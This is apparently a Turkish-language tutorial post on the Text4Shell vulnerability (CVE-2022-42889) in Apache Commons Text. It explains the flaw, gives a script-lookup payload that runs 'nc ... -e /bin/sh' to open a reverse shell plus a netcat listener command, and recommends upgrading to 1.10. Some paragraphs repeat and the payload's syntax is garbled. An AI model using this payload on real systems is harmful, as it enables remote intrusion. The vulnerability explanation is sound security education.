StringSubstitutor İnterpolator CVE-2022-42889 Nedir ?
Bu güvenlik açığı, Commons Text kütüphanesine dahil edilen StringSubstitutor interpolator sınıfını etkiler. Varsayılan bir interpolatör, varsayılan olarak "script", "dns" ve "url" arama anahtarlarını etkileyebilecek dize aramalarına izin verir. Bu, StringLookupFactory sınıfının belgelerine göre olması gerektiği gibi değil, varsayılan olarak etkileyici bir mantık hatasından kaynaklanır. Bu anahtarlar bir saldırganın aramalar aracılığıyla herhangi bir kodu yürütmesine izin verir.
Güvenlik açıklarını sömürmek için aşağıdaki gereksinimler karşılanmalıdır:
Apache Commons Text'in 1.5 ile 1.9 sürümleri arasında bir sürümü çalıştırın.
StringSubstitutor interpolatörünü kullanın.
StringSubstitutor interpolatörünün, Log4j'deki dize yerine koyma kadar yaygın olarak kullanılmadığını belirtmek önemlidir, bu da Log4Shell'e yol açan bir durumu gösterir.
CVE-2022-42889 Nasıl Sömürülür
Saldırıyı çoğaltmak için, savunmasız bileşen bir Docker konteynerine dağıtıldı ve saldırgan tarafından kontrol edilen bir EC2 örneğinden erişilebilirdi. Netcat (nc) komutunu kullanarak, savunmasız uygulamayla bir reserve shell bağlantısı açabiliriz.
Savunmasız web uygulaması, sorgu StringSubstitutor aracılığıyla etkileyici bir şekilde sunan bir arama API'sini ortaya koyar.
Savunmasız web uygulaması, sorgu StringSubstitutor aracılığıyla etkileyici bir şekilde sunan bir arama API'sini ortaya koyar.
Kod:
http://web.app/text4shell/attack?search=<query>
Aşağıdaki payload, güvenlik açığını sömürmek ve reserve shell açmak için kullanılabilir:
Kod:
${script:javascript:java.lang.Runtime.getRuntime.exec()'nc 192.168.49.1 9090 -e /bin/sh')}
Bu payload, String Lookup'u tetikleyen "${prefix:name}" ifadesinden oluşur. Yukarıda belirtildiği gibi, "script", "dns" ve "url" anahtarları, güvenlik açığını sömürmek için ön ek olarak kullanılabilen anahtarlar arasındadır.
Hazırlanan isteği göndermeden önce, reserve shell bağlantısını kurmak için netcat (nc) komutunu kullanarak 9090 numaralı portu dinlememiz gerekiyor.
Hazırlanan isteği göndermeden önce, reserve shell bağlantısını kurmak için netcat (nc) komutunu kullanarak 9090 numaralı portu dinlememiz gerekiyor.
Kod:
nc -nlvp 9090
Şimdi hazırlanan isteği gönderebiliriz. Yükü URL kodlamasıyla şu şekilde gösterildiği gibi.
Saldırganın başarıyla savunmasız uygulama ile bağlantı kurduğunu görebiliriz.
Şimdi saldırgan, savunmasız makine ile root erişimi sağlayabilir ve keyfi kodları yürütebilir.
CVE-2022-42889'u Çözümü
Eğer CVE-2022-42889'dan etkileniyorsanız, uygulamayı 1.10 sürümüne güncellemelisiniz.
Kaynaklarım :
Saldırganın başarıyla savunmasız uygulama ile bağlantı kurduğunu görebiliriz.
Şimdi saldırgan, savunmasız makine ile root erişimi sağlayabilir ve keyfi kodları yürütebilir.
CVE-2022-42889'u Çözümü
Eğer CVE-2022-42889'dan etkileniyorsanız, uygulamayı 1.10 sürümüne güncellemelisiniz.
Kaynaklarım :
Detecting and mitigating CVE-2022-42889 a.k.a. Text4shell – Sysdig
A new critical vulnerability CVE-2022-42889 a.k.a Text4shell was reported on the popular Apache Commons Text library.
sysdig.com
NVD - CVE-2022-42889
nvd.nist.gov
Exploiting, Mitigating, and Detecting CVE-2021-44228: Log4j Remote Code Execution (RCE) – Sysdig
The CVE-2021-44228 is a CRITICAL vulnerability that allows attackers to execute arbitrary code on a machine. Updating log4j to 2.16.0.
sysdig.com
Critical Vulnerability in Spring Core: CVE-2022-22965 a.k.a. Spring4Shell – Sysdig
Critical Vulnerability in Spring Core, CVE-2022-22965, allows remote code execution, you should patch with newest version as soon as possible
sysdig.com
GHSL-2022-018: Arbitrary Code Execution in Apache Commons Text - CVE-2022-42889
The StringSubstitutor default interpolators may lead to unsafe script evaluation and arbitrary code execution
securitylab.github.com